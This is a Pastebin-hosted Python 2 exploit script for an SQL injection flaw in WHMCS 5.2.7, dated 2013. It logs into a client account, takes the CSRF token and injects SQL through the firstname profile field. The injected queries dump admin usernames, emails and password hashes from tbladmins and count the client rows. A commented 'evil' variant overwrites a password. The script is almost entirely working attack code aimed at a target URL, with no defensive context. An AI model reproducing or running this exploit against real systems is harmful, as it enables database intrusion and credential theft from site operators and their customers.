document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #!/usr/bin/env python
  2. # 2013/10/03 - WHMCS 5.2.7 SQL Injection
  3. # http://localhost.re/p/whmcs-527-vulnerability
  4.  
  5. url = 'http://clients.target.com/' # wopsie dopsie
  6. user_email = 'mysuper@hacker.account' # just create a dummie account at /register.php
  7. user_pwd = 'hacker'
  8.  
  9. import urllib, re, sys
  10. from urllib2 import Request, urlopen
  11. ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
  12.  
  13. def exploit(sql):
  14. print "Doing stuff: %s" % sql
  15. r = urlopen(Request('%sclientarea.php?action=details' % url, data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua, "Cookie": user[0]})).read()
  16. return re.search(r'(id="firstname" value="(.*?)")', r).group(2)
  17.  
  18. def login():
  19. print "Getting CSRF token"
  20. r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))
  21. csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r.read()).group(2)
  22. cookie = r.info()['set-cookie'].split(';')[0]
  23. print "Logging in"
  24. r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email, user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()
  25. if 'dologin.php' in r:
  26. sys.exit('Unable to login')
  27. else:
  28. return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")', r).group(2)]
  29.  
  30. user = login()
  31. print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get admins
  32. print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients
  33.  
  34. # oh you want to be evil
  35. #exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as x)#" % user_email)
');